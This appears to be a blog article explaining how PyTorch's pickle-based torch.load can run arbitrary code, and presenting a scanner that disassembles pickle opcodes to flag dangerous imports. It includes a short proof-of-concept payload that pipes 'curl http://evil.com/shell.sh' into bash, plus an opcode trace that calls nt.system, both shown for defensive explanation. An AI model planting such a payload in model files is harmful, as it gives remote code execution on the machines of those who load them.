Your PyTorch Model File Can Execute Arbitrary Code — Here's How I Built a Scanner to Detect It PyTorch's `torch.load()` function uses the Python pickle format for serialization, which inherently executes arbitrary code when loading a file, making it trivially exploitable for remote code execution (RCE) attacks. The author built a scanner called Model-Supply-Chain-Auditor that disassembles pickle bytecode using Python's `pickletools` module to detect malicious patterns like dangerous imports (e.g., `os.system`) and REDUCE opcodes, without executing the file. The article emphasizes that while detection is reactive, the proactive defense is cryptographic model signing, and warns that every `.pt` file from untrusted sources is a potential attack vector. Every time you run torch.load "model.pt" , you're executing arbitrary Python code. Not "could theoretically execute" — actually executing. The pickle format that PyTorch uses for serialization has a built-in code execution mechanism, and it's trivial to exploit. I built a tool to detect this. Here's what I learned. The Attack: 4 Lines of Code import pickle, os class Backdoor: def reduce self : return os.system, "curl http://evil.com/shell.sh | bash", payload = pickle.dumps Backdoor That's it. When someone loads this pickle — whether it's disguised as a model checkpoint, a dataset, or a config file — the command executes. No warnings. No prompts. Full RCE. The reduce method tells pickle how to reconstruct an object. But "reconstruct" means "call this function with these arguments." Any function. Any arguments. Why This Matters for ML ML models are distributed as serialized files: In 2023, HuggingFace found malicious pickles in uploaded models. This isn't theoretical — it's happening. How Detection Works: Opcode Disassembly Python's pickletools module can disassemble pickle bytecode without executing it. Here's what a malicious pickle looks like at the opcode level: PROTO 4 FRAME 25 SHORT BINUNICODE 'nt' ← module name os on Windows SHORT BINUNICODE 'system' ← function name STACK GLOBAL ← load nt.system as callable SHORT BINUNICODE 'whoami' ← argument TUPLE1 ← pack into tuple REDUCE ← CALL the function STOP The key insight: STACK GLOBAL loads a callable by module + name, and REDUCE executes it. If the module is os, subprocess, socket, or builtins — it's malicious. My Scanner: I built Model-Supply-Chain-Auditor https://github.com/poojakira/Model-Supply-Chain-Auditor to parse these opcodes and flag dangerous patterns: from src.scanners import scan pickle bytes result = scan pickle bytes suspicious data print result.risk level "malicious" print result.findings "DANGEROUS import: nt.system", "Code execution via REDUCE" It handles pickle protocols 0-5, including the protocol 4+ STACK GLOBAL pattern where module and name are pushed to the stack separately. What I Got Wrong Initially On Windows, os.system pickles as nt.system. On Linux, it's posix.system. My first version only checked for os — missed both platform-specific variants. Lesson: always test on actual bytecode output, not what you think it should be. The Defense: Model Signing Detection is reactive. The proactive defense is cryptographic signing: If the signature doesn't match, don't load it. What This Doesn't Solve The Takeaway: If you're downloading model files from the internet: The ML community is slowly moving toward safer serialization. Until then, every .pt file is a potential attack vector. Code: github.com/poojakira/Model-Supply-Chain-Auditor https://github.com/poojakira/Model-Supply-Chain-Auditor